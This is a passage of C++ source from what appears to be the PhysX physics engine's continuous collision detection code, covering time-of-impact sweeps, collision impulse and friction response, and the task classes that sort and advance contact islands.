ccdShape1->mFastMovingThreshold; const PxReal sumFastMovingThresh = PxMin(fastMovingThresh0 + fastMovingThresh1, ccdThreshold); mToiType = eEstimate; //If the objects are not moving fast-enough relative to each-other to warrant CCD, set estimated time as PX_MAX_REAL if((relTr.magnitudeSquared()) <= (sumFastMovingThresh * sumFastMovingThresh)) { mToiType = eEstimate; mMinToi = PX_MAX_REAL; return PX_MAX_REAL; } //Otherwise, the objects *are* moving fast-enough so perform estimation pass if(g1 == PxGeometryType::eTRIANGLEMESH) { //Special-case estimation code for meshes PxF32 toi = Gu::SweepEstimateAnyShapeMesh(*ccdShape0, *ccdShape1, tm0, tm1, lastTm0, lastTm1, restDistance, sumFastMovingThresh); mMinToi = toi; return toi; } else if (g1 == PxGeometryType::eHEIGHTFIELD) { //Special-case estimation code for heightfields PxF32 toi = Gu::SweepEstimateAnyShapeHeightfield(*ccdShape0, *ccdShape1, tm0, tm1, lastTm0, lastTm1, restDistance, sumFastMovingThresh); mMinToi = toi; return toi; } //Generic estimation code for prim-prim sweeps PxVec3 centreA, extentsA; PxVec3 centreB, extentsB; centreA = ccdShape0->mCenter; extentsA = ccdShape0->mExtents + PxVec3(restDistance); centreB = ccdShape1->mCenter; extentsB = ccdShape1->mExtents; PxF32 toi = Gu::sweepAABBAABB(centreA, extentsA * 1.1f, centreB, extentsB * 1.1f, trA, trB); mMinToi = toi; return toi; } bool PxsCCDPair::sweepAdvanceToToi(PxReal dt, bool clipTrajectoryToToi) { PxsCCDShape* ccds0 = mCCDShape0; PxsRigidBody* atom0 = mBa0; PxsCCDShape* ccds1 = mCCDShape1; PxsRigidBody* atom1 = mBa1; const PxsCCDPair* thisPair = this; //Both already had a pass so don't do anything if ((atom0 == NULL || atom0->mCCD->mPassDone) && (atom1 == NULL || atom1->mCCD->mPassDone)) return false; //Test to validate that they're both infinite mass objects. If so, there can be no response so terminate on a notification-only if((atom0 == NULL || atom0->mCore->inverseMass == 0.f) && (atom1 == NULL || atom1->mCore->inverseMass == 0.f)) return false; //If the TOI < 1.f. If not, this hit happens after this frame or at the very end of the frame. Either way, next frame can handle it if (thisPair->mMinToi < 1.0f) { if(thisPair->mCm->getWorkUnit().flags & PxcNpWorkUnitFlag::eDISABLE_RESPONSE || thisPair->mMaxImpulse == 0.f) { //Don't mark pass as done on either body return true; } PxReal minToi = thisPair->mMinToi; PxF32 penetration = -mPenetration * 10.f; PxVec3 minToiNormal = thisPair->mMinToiNormal; if (!minToiNormal.isNormalized()) { // somehow we got zero normal. This can happen for instance if two identical objects spawn exactly on top of one another // abort ccd and clip to current toi if (atom0 && !atom0->mCCD->mPassDone) { atom0->advancePrevPoseToToi(minToi); atom0->advanceToToi(minToi, dt, true); atom0->mCCD->mUpdateCount++; } return true; } //Get the material indices... const PxReal restitution = mRestitution; const PxReal sFriction = mStaticFriction; const PxReal dFriction = mDynamicFriction; PxVec3 v0(0.f), v1(0.f); PxReal invMass0(0.f), invMass1(0.f); #if CCD_ANGULAR_IMPULSE PxMat33 invInertia0(PxVec3(0.f), PxVec3(0.f), PxVec3(0.f)), invInertia1(PxVec3(0.f), PxVec3(0.f), PxVec3(0.f)); PxVec3 localPoint0(0.f), localPoint1(0.f); #endif PxReal dom0 = mCm->getDominance0(); PxReal dom1 = mCm->getDominance1(); //Work out velocity and invMass for body 0 if(atom0) { //Put contact point in local space, then find how much point is moving using point velocity... #if CCD_ANGULAR_IMPULSE localPoint0 = mMinToiPoint - trA.p; v0 = atom0->mCore->linearVelocity + atom0->mCore->angularVelocity.cross(localPoint0); physx::Cm::transformInertiaTensor(atom0->mCore->inverseInertia, PxMat33(trA.q),invInertia0); invInertia0 *= dom0; #else v0 = atom0->mCore->linearVelocity + atom0->mCore->angularVelocity.cross(ccds0->mCurrentTransform.p - atom0->mCore->body2World.p); #endif invMass0 = atom0->getInvMass() * dom0; } //Work out velocity and invMass for body 1 if(atom1) { //Put contact point in local space, then find how much point is moving using point velocity... #if CCD_ANGULAR_IMPULSE localPoint1 = mMinToiPoint - trB.p; v1 = atom1->mCore->linearVelocity + atom1->mCore->angularVelocity.cross(localPoint1); physx::Cm::transformInertiaTensor(atom1->mCore->inverseInertia, PxMat33(trB.q),invInertia1); invInertia1 *= dom1; #else v1 = atom1->mCore->linearVelocity + atom1->mCore->angularVelocity.cross(ccds1->mCurrentTransform.p - atom1->mCore->body2World.p); #endif invMass1 = atom1->getInvMass() * dom1; } PX_ASSERT(v0.isFinite() && v1.isFinite()); //Work out relative velocity PxVec3 vRel = v1 - v0; //Project relative velocity onto contact normal and bias with penetration PxReal relNorVel = vRel.dot(minToiNormal); PxReal relNorVelPlusPen = relNorVel + penetration; #if CCD_ANGULAR_IMPULSE if(relNorVelPlusPen >= -1e-6f) { //we fall back on linear only parts... localPoint0 = PxVec3(0.f); localPoint1 = PxVec3(0.f); v0 = atom0 ? atom0->getLinearVelocity() : PxVec3(0.f); v1 = atom1 ? atom1->getLinearVelocity() : PxVec3(0.f); vRel = v1 - v0; relNorVel = vRel.dot(minToiNormal); relNorVelPlusPen = relNorVel + penetration; } #endif //If the relative motion is moving towards each-other, respond if(relNorVelPlusPen < -1e-6f) { PxReal sumRecipMass = invMass0 + invMass1; const PxReal jLin = relNorVelPlusPen; const PxReal normalResponse = (1.f + restitution) * jLin; #if CCD_ANGULAR_IMPULSE const PxVec3 angularMom0 = invInertia0 * (localPoint0.cross(mMinToiNormal)); const PxVec3 angularMom1 = invInertia1 * (localPoint1.cross(mMinToiNormal)); const PxReal jAng = minToiNormal.dot(angularMom0.cross(localPoint0) + angularMom1.cross(localPoint1)); const PxReal impulseDivisor = sumRecipMass + jAng; #else const PxReal impulseDivisor = sumRecipMass; #endif const PxReal jImp = PxMax(-mMaxImpulse, normalResponse/impulseDivisor); PxVec3 j(0.f); //If the user requested CCD friction, calculate friction forces. //Note, CCD is *linear* so friction is also linear. The net result is that CCD friction can stop bodies' lateral motion so its better to have it disabled //unless there's a real need for it. if(mHasFriction) { PxVec3 vPerp = vRel - relNorVel * minToiNormal; PxVec3 tDir = vPerp; PxReal length = tDir.normalize(); PxReal vPerpImp = length/impulseDivisor; PxF32 fricResponse = 0.f; PxF32 staticResponse = (jImp*sFriction); PxF32 dynamicResponse = (jImp*dFriction); if (PxAbs(staticResponse) >= vPerpImp) fricResponse = vPerpImp; else { fricResponse = -dynamicResponse /* times m0 */; } //const PxVec3 fricJ = -vPerp.getNormalized() * (fricResponse/impulseDivisor); const PxVec3 fricJ = tDir * (fricResponse); j = jImp * mMinToiNormal + fricJ; } else { j = jImp * mMinToiNormal; } verifyCCDPair(*this); //If we have a negative impulse value, then we need to apply it. If not, the bodies are separating (no impulse to apply). if(jImp < 0.f) { mAppliedForce = -jImp; //Adjust velocities if((atom0 != NULL && atom0->mCCD->mPassDone) || (atom1 != NULL && atom1->mCCD->mPassDone)) { mPenetrationPostStep = 0.f; } else { if (atom0) { //atom0->mAcceleration.linear = atom0->getLinearVelocity(); // to provide pre-"solver" velocity in contact reports atom0->setLinearVelocity(atom0->getLinearVelocity() + j * invMass0); atom0->constrainLinearVelocity(); #if CCD_ANGULAR_IMPULSE atom0->mAcceleration.angular = atom0->getAngularVelocity(); // to provide pre-"solver" velocity in contact reports atom0->setAngularVelocity(atom0->getAngularVelocity() + invInertia0 * localPoint0.cross(j)); atom0->constrainAngularVelocity(); #endif } if (atom1) { //atom1->mAcceleration.linear = atom1->getLinearVelocity(); // to provide pre-"solver" velocity in contact reports atom1->setLinearVelocity(atom1->getLinearVelocity() - j * invMass1); atom1->constrainLinearVelocity(); #if CCD_ANGULAR_IMPULSE atom1->mAcceleration.angular = atom1->getAngularVelocity(); // to provide pre-"solver" velocity in contact reports atom1->setAngularVelocity(atom1->getAngularVelocity() - invInertia1 * localPoint1.cross(j)); atom1->constrainAngularVelocity(); #endif } } } } //Update poses if (atom0 && !atom0->mCCD->mPassDone) { atom0->advancePrevPoseToToi(minToi); atom0->advanceToToi(minToi, dt, clipTrajectoryToToi && mPenetrationPostStep == 0.f); atom0->mCCD->mUpdateCount++; } if (atom1 && !atom1->mCCD->mPassDone) { atom1->advancePrevPoseToToi(minToi); atom1->advanceToToi(minToi, dt, clipTrajectoryToToi && mPenetrationPostStep == 0.f); atom1->mCCD->mUpdateCount++; } //If we had a penetration post-step (i.e. an initial overlap), step forwards slightly after collision response if(mPenetrationPostStep > 0.f) { if (atom0 && !atom0->mCCD->mPassDone) { atom0->advancePrevPoseToToi(mPenetrationPostStep); if(clipTrajectoryToToi) atom0->advanceToToi(mPenetrationPostStep, dt, clipTrajectoryToToi); } if (atom1 && !atom1->mCCD->mPassDone) { atom1->advancePrevPoseToToi(mPenetrationPostStep); if(clipTrajectoryToToi) atom1->advanceToToi(mPenetrationPostStep, dt, clipTrajectoryToToi); } } //Mark passes as done if (atom0) { atom0->mCCD->mPassDone = true; atom0->mCCD->mHasAnyPassDone = true; } if (atom1) { atom1->mCCD->mPassDone = true; atom1->mCCD->mHasAnyPassDone = true; } return true; //return false; } else { printCCDDebug("advToi: clean sweep", atom0, mG0); } return false; } struct IslandCompare { bool operator()(PxsCCDPair& a, PxsCCDPair& b) const { return a.mIslandId < b.mIslandId; } }; struct IslandPtrCompare { bool operator()(PxsCCDPair*& a, PxsCCDPair*& b) const { return a->mIslandId < b->mIslandId; } }; struct ToiCompare { bool operator()(PxsCCDPair& a, PxsCCDPair& b) const { return (a.mMinToi < b.mMinToi) || ((a.mMinToi == b.mMinToi) && (a.mBa1 != NULL && b.mBa1 == NULL)); } }; struct ToiPtrCompare { bool operator()(PxsCCDPair*& a, PxsCCDPair*& b) const { return (a->mMinToi < b->mMinToi) || ((a->mMinToi == b->mMinToi) && (a->mBa1 != NULL && b->mBa1 == NULL)); } }; // -------------------------------------------------------------- /** \brief Class to perform a set of sweep estimate tasks */ class PxsCCDSweepTask : public Cm::Task { PxsCCDPair** mPairs; PxU32 mNumPairs; PxReal mCCDThreshold; public: PxsCCDSweepTask(PxU64 contextID, PxsCCDPair** pairs, PxU32 nPairs, PxReal ccdThreshold) : Cm::Task(contextID), mPairs(pairs), mNumPairs(nPairs), mCCDThreshold(ccdThreshold) { } virtual void runInternal() { for (PxU32 j = 0; j < mNumPairs; j++) { PxsCCDPair& pair = *mPairs[j]; pair.sweepEstimateToi(mCCDThreshold); pair.mEstimatePass = 0; } } virtual const char *getName() const { return "PxsContext.CCDSweep"; } private: PxsCCDSweepTask& operator=(const PxsCCDSweepTask&); }; #define ENABLE_RESWEEP 1 // -------------------------------------------------------------- /** \brief Class to advance a set of islands */ class PxsCCDAdvanceTask : public Cm::Task { PxsCCDPair** mCCDPairs; PxU32 mNumPairs; PxsContext* mContext; PxsCCDContext* mCCDContext; PxReal mDt; PxU32 mCCDPass; const PxsCCDBodyArray& mCCDBodies; PxU32 mFirstThreadIsland; PxU32 mIslandsPerThread; PxU32 mTotalIslandCount; PxU32 mFirstIslandPair; // pairs are sorted by island PxsCCDBody** mIslandBodies; PxU16* mNumIslandBodies; PxI32* mSweepTotalHits; bool mClipTrajectory; bool mDisableResweep; PxsCCDAdvanceTask& operator=(const PxsCCDAdvanceTask&); public: PxsCCDAdvanceTask(PxsCCDPair** pairs, PxU32 nPairs, const PxsCCDBodyArray& ccdBodies, PxsContext* context, PxsCCDContext* ccdContext, PxReal dt, PxU32 ccdPass, PxU32 firstIslandPair, PxU32 firstThreadIsland, PxU32 islandsPerThread, PxU32 totalIslands, PxsCCDBody** islandBodies, PxU16* numIslandBodies, bool clipTrajectory, bool disableResweep, PxI32* sweepTotalHits) : Cm::Task(context->getContextId()), mCCDPairs(pairs), mNumPairs(nPairs), mContext(context), mCCDContext(ccdContext), mDt(dt), mCCDPass(ccdPass), mCCDBodies(ccdBodies), mFirstThreadIsland(firstThreadIsland), mIslandsPerThread(islandsPerThread), mTotalIslandCount(totalIslands), mFirstIslandPair(firstIslandPair), mIslandBodies(islandBodies), mNumIslandBodies(numIslandBodies), mSweepTotalHits(sweepTotalHits), mClipTrajectory(clipTrajectory), mDisableResweep(disableResweep) { PX_ASSERT(mFirstIslandPair < mNumPairs); } virtual void runInternal() { PxI32 sweepTotalHits = 0; PxcNpThreadContext* threadContext = mContext->getNpThreadContext(); PxReal ccdThreshold = mCCDContext->getCCDThreshold(); // -------------------------------------------------------------------------------------- // loop over island labels assigned to this thread PxU32 islandStart = mFirstIslandPair; PxU32 lastIsland = PxMin(mFirstThreadIsland + mIslandsPerThread, mTotalIslandCount); for (PxU32 iIsland = mFirstThreadIsland; iIsland < lastIsland; iIsland++) { if (islandStart >= mNumPairs) // this is possible when for instance there are two islands with 0 pairs in the second // since islands are initially segmented using bodies, not pairs, it can happen break; // -------------------------------------------------------------------------------------- // sort all pairs within current island by toi PxU32 islandEnd = islandStart+1; PX_ASSERT(mCCDPairs[islandStart]->mIslandId == iIsland); while (islandEnd < mNumPairs && mCCDPairs[islandEnd]->mIslandId == iIsland) // find first index past the current island id islandEnd++; if (islandEnd > islandStart+1) shdfnd::sort(mCCDPairs+islandStart, islandEnd-islandStart, ToiPtrCompare()); PX_ASSERT(islandEnd <= mNumPairs); // -------------------------------------------------------------------------------------- // advance all affected pairs within each island to min toi // for each pair (A,B) in toi order, find any later-toi pairs that collide against A or B // and resweep against changed trajectories of either A or B (excluding statics and kinematics) PxReal islandMinToi = PX_MAX_REAL; PxU32 estimatePass = 1; PxReal dt = mDt; for (PxU32 iFront = islandStart; iFront < islandEnd; iFront++) { PxsCCDPair& pair = *mCCDPairs[iFront]; verifyCCDPair(pair); //If we have reached a pair with a TOI after 1.0, we can terminate this island if(pair.mMinToi > 1.f) break; bool needSweep0 = (pair.mBa0 && pair.mBa0->mCCD->mPassDone == false); bool needSweep1 = (pair.mBa1 && pair.mBa1->mCCD->mPassDone == false); //If both bodies have been updated (or one has been updated and the other is static), we can skip to the next pair if(!(needSweep0 || needSweep1)) continue; { //If the pair was an estimate, we must perform an accurate sweep now if(pair.mToiType == PxsCCDPair::eEstimate) { pair.sweepFindToi(*threadContext, dt, mCCDPass, ccdThreshold); //Test to see if the pair is still the earliest pair. if((iFront + 1) < islandEnd && mCCDPairs[iFront+1]->mMinToi < pair.mMinToi) { //If there is an earlier pair, we push this pair into its correct place in the list and return to the start //of this update loop PxsCCDPair* tmp = &pair; PxU32 index = iFront; while((index + 1) < islandEnd && mCCDPairs[index+1]->mMinToi < pair.mMinToi) { mCCDPairs[index] = mCCDPairs[index+1]; ++index; } mCCDPairs[index] = tmp; --iFront; continue; } } if (pair.mMinToi > 1.f) break; //We now have the earliest contact pair for this island and one/both of the bodies have not been updated. We now perform //contact modification to find out if the user still wants to respond to the collision if(pair.mMinToi <= islandMinToi && pair.mIsModifiable && mCCDContext->getCCDContactModifyCallback()) { PX_ALIGN(16, PxU8 dataBuffer[sizeof(PxModifiableContact) + sizeof(PxContactPatch)]); PxContactPatch* patch = reinterpret_cast<PxContactPatch*>(dataBuffer); PxModifiableContact* point = reinterpret_cast<PxModifiableContact*>(patch + 1); patch->mMassModification.mInvInertiaScale0 = 1.f; patch->mMassModification.mInvInertiaScale1 = 1.f; patch->mMassModification.mInvMassScale0 = 1.f; patch->mMassModification.mInvMassScale1 = 1.f; patch->normal = pair.mMinToiNormal; patch->dynamicFriction = pair.mDynamicFriction; patch->staticFriction = pair.mStaticFriction; patch->materialIndex0 = pair.mMaterialIndex0; patch->materialIndex1 = pair.mMaterialIndex1; patch->startContactIndex = 0; patch->nbContacts = 1; patch->materialFlags = 0; patch->internalFlags = 0; //44 //Can be a U16 point->contact = pair.mMinToiPoint; point->normal = pair.mMinToiNormal; //KS - todo - reintroduce face indices!!!! //point.internalFaceIndex0 = PXC_CONTACT_NO_FACE_INDEX; //point.internalFaceIndex1 = pair.mFaceIndex; point->materialIndex0 = pair.mMaterialIndex0; point->materialIndex1 = pair.mMaterialIndex1; point->dynamicFriction = pair.mDynamicFriction; point->staticFriction = pair.mStaticFriction; point->restitution = pair.mRestitution; point->separation = 0.f; point->maxImpulse = PX_MAX_REAL; point->materialFlags = 0; point->targetVelocity = PxVec3(0.f); mCCDContext->runCCDModifiableContact(point, 1, pair.mCCDShape0->mShapeCore, pair.mCCDShape1->mShapeCore, pair.mCCDShape0->mRigidCore, pair.mCCDShape1->mRigidCore, pair.mBa0, pair.mBa1); if ((patch->internalFlags & PxContactPatch::eHAS_MAX_IMPULSE)) pair.mMaxImpulse = point->maxImpulse; pair.mDynamicFriction = point->dynamicFriction; pair.mStaticFriction = point->staticFriction; pair.mRestitution = point->restitution; pair.mMinToiPoint = point->contact; pair.mMinToiNormal = point->normal; } } // pair.mIsEarliestToiHit is used for contact notification. // only mark as such if this is the first impact for both atoms of this pair (the impacts are sorted) // and there was an actual impact for this pair bool atom0FirstSweep = (pair.mBa0 && pair.mBa0->mCCD->mPassDone == false) || pair.mBa0 == NULL; bool atom1FirstSweep = (pair.mBa1 && pair.mBa1->mCCD->mPassDone == false) || pair.mBa1 == NULL; if (pair.mMinToi <= 1.0f && atom0FirstSweep && atom1FirstSweep) pair.mIsEarliestToiHit = true; // sweepAdvanceToToi sets mCCD->mPassDone flags on both atoms, doesn't advance atoms with flag already set // can advance one atom if the other already has the flag set bool advanced = pair.sweepAdvanceToToi( dt, mClipTrajectory); if(pair.mMinToi < 0.f) pair.mMinToi = 0.f; verifyCCDPair(pair); if (advanced && pair.mMinToi <= 1.0f) { sweepTotalHits++; PxU32 islandStartIndex = iIsland == 0 ? 0 : PxU32(mNumIslandBodies[iIsland - 1]); PxU32 islandEndIndex = mNumIslandBodies[iIsland]; if(pair.mMinToi > 0.f) { for(PxU32 a = islandStartIndex; a < islandEndIndex; ++a) { if(!mIslandBodies[a]->mPassDone) { //If the body has not updated, we advance it to the current time-step that the island has reached. PxsRigidBody* atom = mIslandBodies[a]->mBody; atom->advancePrevPoseToToi(pair.mMinToi); atom->mCCD->mTimeLeft = PxMax(atom->mCCD->mTimeLeft * (1.0f - pair.mMinToi), CCD_MIN_TIME_LEFT); atom->mCCD->mUpdateCount++; } } //Adjust remaining dt for the island dt -= dt * pair.mMinToi; const PxReal recipOneMinusToi = 1.f/(1.f - pair.mMinToi); for(PxU32 k = iFront+1; k < islandEnd; ++k) { PxsCCDPair& pair1 = *mCCDPairs[k]; pair1.mMinToi = (pair1.mMinToi - pair.mMinToi)*recipOneMinusToi; } } //If we disabled response, we don't need to resweep at all if(!mDisableResweep && !(pair.mCm->getWorkUnit().flags & PxcNpWorkUnitFlag::eDISABLE_RESPONSE) && pair.mMaxImpulse != 0.f) { void* a0 = pair.mBa0 == NULL ? NULL : reinterpret_cast<void*>(pair.mBa0); void* a1 = pair.mBa1 == NULL ? NULL : reinterpret_cast<void*>(pair.mBa1); for(PxU32 k = iFront+1; k < islandEnd; ++k) { PxsCCDPair& pair1 = *mCCDPairs[k]; void* b0 = pair1.mBa0 == NULL ? reinterpret_cast<void*>(pair1.mCCDShape0) : reinterpret_cast<void*>(pair1.mBa0); void* b1 = pair1.mBa1 == NULL ? reinterpret_cast<void*>(pair1.mCCDShape1) : reinterpret_cast<void*>(pair1.mBa1); bool containsStatic = pair1.mBa0 == NULL || pair1.mBa1 == NULL; PX_ASSERT(b0 != NULL && b1 != NULL); if ((!containsStatic) && ((b0 == a0 && b1 != a1) || (b1 == a0 && b0 != a1) || (b0 == a1 && b1 != a0) || (b1 == a1 && b0 != a0)) ) { if(estimatePass != pair1.mEstimatePass) { pair1.mEstimatePass = estimatePass; // resweep pair1 since either b0 or b1 trajectory has changed PxReal oldToi = pair1.mMinToi; verifyCCDPair(pair1); PxReal toi1 = pair1.sweepEstimateToi(ccdThreshold); PX_ASSERT(pair1.mBa0); // this is because mMinToiNormal is the impact point here if (toi1 < oldToi) { // if toi decreased, resort the array backwards PxU32 kk = k; PX_ASSERT(kk > 0); while (kk-1 > iFront && mCCDPairs[kk-1]->mMinToi > toi1) { PxsCCDPair* temp = mCCDPairs[kk-1]; mCCDPairs[kk-1] = mCCDPairs[kk]; mCCDPairs[kk] = temp; kk--; } } else if (toi1 > oldToi) { // if toi increased, resort the array forwards PxU32 kk = k; PX_ASSERT(kk > 0); PxU32 stepped = 0; while (kk+1 < islandEnd && mCCDPairs[kk+1]->mMinToi < toi1) { stepped = 1; PxsCCDPair* temp = mCCDPairs[kk+1]; mCCDPairs[kk+1] = mCCDPairs[kk]; mCCDPairs[kk] = temp; kk++; } k -= stepped; } } } } } estimatePass++; } // if pair.minToi <= 1.0f } // for iFront islandStart = islandEnd; } // for (PxU32 iIsland = mFirstThreadIsland; iIsland < lastIsland; iIsland++) Ps::atomicAdd(mSweepTotalHits, sweepTotalHits); mContext->putNpThreadContext(threadContext); } virtual const char *getName() const { return "PxsContext.CCDAdvance"; } }; // -------------------------------------------------------------- // CCD main function // Overall structure: /* for nPasses (passes are now handled in void Sc::Scene::updateCCDMultiPass) update CCD broadphase, generate a list of CMs foreach CM create CCDPairs, CCDBodies from CM add shapes, overlappingShapes to CCDBodies foreach CCDBody assign island labels per body uses overlappingShapes foreach CCDPair assign island label to pair sort all pairs by islandId foreach CCDPair sweep/find toi compute normal: foreach island sort within island by toi foreach pair within island advanceToToi from curPairInIsland to lastPairInIsland resweep if needed */ // -------------------------------------------------------------- void PxsCCDContext::updateCCDBegin() { openCCDLog(); miCCDPass = 0; mSweepTotalHits = 0; } // -------------------------------------------------------------- void PxsCCDContext::updateCCDEnd() { if (miCCDPass == mCCDMaxPasses - 1 || mSweepTotalHits == 0) { // -------------------------------------------------------------------------------------- // At last CCD pass we need to reset mBody pointers back to NULL // so that the next frame we know which ones need to be newly paired with PxsCCDBody objects // also free the CCDBody memory blocks mMutex.lock(); for (PxU32 j = 0, n = mCCDBodies.size(); j < n; j++) { if (mCCDBodies[j].mBody->mCCD && mCCDBodies[j].mBody->mCCD->mHasAnyPassDone) { //Record this body in the list of bodies that were updated mUpdatedCCDBodies.pushBack(mCCDBodies[j].mBody); } mCCDBodies[j].mBody->mCCD = NULL; mCCDBodies[j].mBody->getCore().isFastMoving = false; //Clear the "isFastMoving" bool } mMutex.unlock(); mCCDBodies.clear_NoDelete(); } mCCDShapes.clear_NoDelete(); mMap.clear(); miCCDPass++; } // -------------------------------------------------------------- void PxsCCDContext::verifyCCDBegin() { #if 0 // validate that all bodies have a NULL mCCD pointer if (miCCDPass == 0) { Cm::BitMap::Iterator it(mActiveContactManager); for (PxU32 index = it.getNext(); index != Cm::BitMap::Iterator::DONE; index = it.getNext()) { PxsContactManager* cm = mContactManagerPool.findByIndexFast(index); PxsRigidBody* b0 = cm->mBodyShape0->getBodyAtom(), *b1 = cm->mBodyShape1->getBodyAtom(); PX_ASSERT(b0 == NULL || b0->mCCD == NULL); PX_ASSERT(b1 == NULL || b1->mCCD == NULL); } } #endif } void PxsCCDContext::resetContactManagers() { Cm::BitMap::Iterator it(mContext->mContactManagersWithCCDTouch); for (PxU32 index = it.getNext(); index != Cm::BitMap::Iterator::DONE; index = it.getNext()) { PxsContactManager* cm = mContext->mContactManagerPool.findByIndexFast(index); cm->clearCCDContactInfo(); } mContext->mContactManagersWithCCDTouch.clear(); } // -------------------------------------------------------------- void PxsCCDContext::updateCCD(PxReal dt, PxBaseTask* continuation, IG::IslandSim& islandSim, bool disableResweep, PxI32 numFastMovingShapes) { //Flag to run a slightly less-accurate version of CCD that will ensure that objects don't tunnel through the static world but is not as reliable for dynamic-dynamic collisions mDisableCCDResweep = disableResweep; mThresholdStream.clear(); // clear force threshold report stream mContext->clearManagerTouchEvents(); if (miCCDPass == 0) { resetContactManagers(); } // If we're not in the first pass and the previous pass had no sweeps or the BP didn't generate any fast-moving shapes, we can skip CCD entirely if ((miCCDPass > 0 && mSweepTotalHits == 0) || (numFastMovingShapes == 0)) { mSweepTotalHits = 0; updateCCDEnd(); return; } mSweepTotalHits = 0; PX_ASSERT(continuation); PX_ASSERT(continuation->getReference() > 0); //printf("CCD 1\n"); mCCDThreadContext = mContext->getNpThreadContext(); mCCDThreadContext->mDt = dt; // doesn't get set anywhere else since it's only used for CCD now verifyCCDBegin(); // -------------------------------------------------------------------------------------- // From a list of active CMs, build a temporary array of PxsCCDPair objects (allocated in blocks) // this is done to gather scattered data from memory and also to reduce PxsRidigBody permanent memory footprint // we have to do it every pass since new CMs can become fast moving after each pass (and sometimes cease to be) mCCDPairs.clear_NoDelete(); mCCDPtrPairs.forceSize_Unsafe(0); mUpdatedCCDBodies.forceSize_Unsafe(0); mCCDOverlaps.clear_NoDelete(); PxU32 nbKinematicStaticCollisions = 0; bool needsSweep = false; { PX_PROFILE_ZONE("Sim.ccdPair", mContext->mContextID); Cm::BitMap::Iterator it(mContext->mActiveContactManagersWithCCD); for (PxU32 index = it.getNext(); index != Cm::BitMap::Iterator::DONE; index = it.getNext()) { PxsContactManager* cm = mContext->mContactManagerPool.findByIndexFast(index); // skip disabled pairs if(!cm->getCCD()) continue; bool isJoint0 = (cm->mNpUnit.flags & PxcNpWorkUnitFlag::eARTICULATION_BODY0) == PxcNpWorkUnitFlag::eARTICULATION_BODY0; bool isJoint1 = (cm->mNpUnit.flags & PxcNpWorkUnitFlag::eARTICULATION_BODY1) == PxcNpWorkUnitFlag::eARTICULATION_BODY1; // skip articulation vs articulation ccd //Actually. This is fundamentally wrong also :(. We only want to skip links in the same articulation - not all articulations!!! if (isJoint0 && isJoint1) continue; bool isFastMoving0 = static_cast<const PxsBodyCore*>(cm->mNpUnit.rigidCore0)->isFastMoving != 0; bool isFastMoving1 = (cm->mNpUnit.flags & (PxcNpWorkUnitFlag::eARTICULATION_BODY1 | PxcNpWorkUnitFlag::eDYNAMIC_BODY1)) ? static_cast<const PxsBodyCore*>(cm->mNpUnit.rigidCore1)->isFastMoving != 0: false; if (!(isFastMoving0 || isFastMoving1)) continue; PxcNpWorkUnit& unit = cm->getWorkUnit(); const PxsRigidCore* rc0 = unit.rigidCore0; const PxsRigidCore* rc1 = unit.rigidCore1; { const PxsShapeCore* sc0 = unit.shapeCore0; const PxsShapeCore* sc1 = unit.shapeCore1; PxsRigidBody* ba0 = cm->mRigidBody0; PxsRigidBody* ba1 = cm->mRigidBody1; //Look up the body/shape pair in our CCDShape map const Ps::Pair<const PxsRigidShapePair, PxsCCDShape*>* ccdShapePair0 = mMap.find(PxsRigidShapePair(rc0, sc0)); const Ps::Pair<const PxsRigidShapePair, PxsCCDShape*>* ccdShapePair1 = mMap.find(PxsRigidShapePair(rc1, sc1)); //If the CCD shapes exist, extract them from the map PxsCCDShape* ccdShape0 = ccdShapePair0 ? ccdShapePair0->second : NULL; PxsCCDShape* ccdShape1 = ccdShapePair1 ? ccdShapePair1->second : NULL; PxReal threshold0 = 0.f; PxReal threshold1 = 0.f; PxVec3 trA(0.f); PxVec3 trB(0.f); if(ccdShape0 == NULL) { //If we hadn't already created ccdShape, create one ccdShape0 = &mCCDShapes.pushBack(); mMap.insert(PxsRigidShapePair(rc0, sc0), ccdShape0); ccdShape0->mRigidCore = rc0; ccdShape0->mShapeCore = sc0; ccdShape0->mGeometry = &sc0->geometry; const PxTransform tm0 = ccdShape0->getAbsPose(ba0); const PxTransform oldTm0 = ba0 ? ccdShape0->getLastCCDAbsPose(ba0) : tm0; trA = tm0.p - oldTm0.p; Vec3p origin, extents; //Compute the shape's bounds and CCD threshold threshold0 = computeBoundsWithCCDThreshold(origin, extents, sc0->geometry.getGeometry(), tm0, NULL); //Set up the CCD shape ccdShape0->mCenter = origin - trA; ccdShape0->mExtents = extents; ccdShape0->mFastMovingThreshold = threshold0; ccdShape0->mPrevTransform = oldTm0; ccdShape0->mCurrentTransform = tm0; ccdShape0->mUpdateCount = 0; ccdShape0->mNodeIndex = islandSim.getNodeIndex1(cm->getWorkUnit().mEdgeIndex); } else { //We had already created the shape, so extract the threshold and translation components threshold0 = ccdShape0->mFastMovingThreshold; trA = ccdShape0->mCurrentTransform.p - ccdShape0->mPrevTransform.p; } if(ccdShape1 == NULL) { //If the CCD shape was not already constructed, create it ccdShape1 = &mCCDShapes.pushBack(); ccdShape1->mRigidCore = rc1; ccdShape1->mShapeCore = sc1; ccdShape1->mGeometry = &sc1->geometry; mMap.insert(PxsRigidShapePair(rc1, sc1), ccdShape1); const PxTransform tm1 = ccdShape1->getAbsPose(ba1); const PxTransform oldTm1 = ba1 ? ccdShape1->getLastCCDAbsPose(ba1) : tm1; trB = tm1.p - oldTm1.p; Vec3p origin, extents; //Compute the shape's bounds and CCD threshold threshold1 = computeBoundsWithCCDThreshold(origin, extents, sc1->geometry.getGeometry(), tm1, NULL); //Set up the CCD shape ccdShape1->mCenter = origin - trB; ccdShape1->mExtents = extents; ccdShape1->mFastMovingThreshold = threshold1; ccdShape1->mPrevTransform = oldTm1; ccdShape1->mCurrentTransform = tm1; ccdShape1->mUpdateCount = 0; ccdShape1->mNodeIndex = islandSim.getNodeIndex2(cm->getWorkUnit().mEdgeIndex); } else { //CCD shape already constructed so just extract thresholds and trB components threshold1 = ccdShape1->mFastMovingThreshold; trB = ccdShape1->mCurrentTransform.p - ccdShape1->mPrevTransform.p; } { //Initialize the CCD bodies PxsRigidBody* atoms[2] = {ba0, ba1}; for (int k = 0; k < 2; k++) { PxsRigidBody* b = atoms[k]; //If there isn't a body (i.e. it's a static), no need to create a CCD body if (!b) continue; if (b->mCCD == NULL) { // this rigid body has no CCD body created for it yet. Create and initialize one. PxsCCDBody& newB = mCCDBodies.pushBack(); b->mCCD = &newB; b->mCCD->mIndex = Ps::to16(mCCDBodies.size()-1); b->mCCD->mBody = b; b->mCCD->mTimeLeft = 1.0f; b->mCCD->mOverlappingObjects = NULL; b->mCCD->mUpdateCount = 0; b->mCCD->mHasAnyPassDone = false; b->mCCD->mNbInteractionsThisPass = 0; } 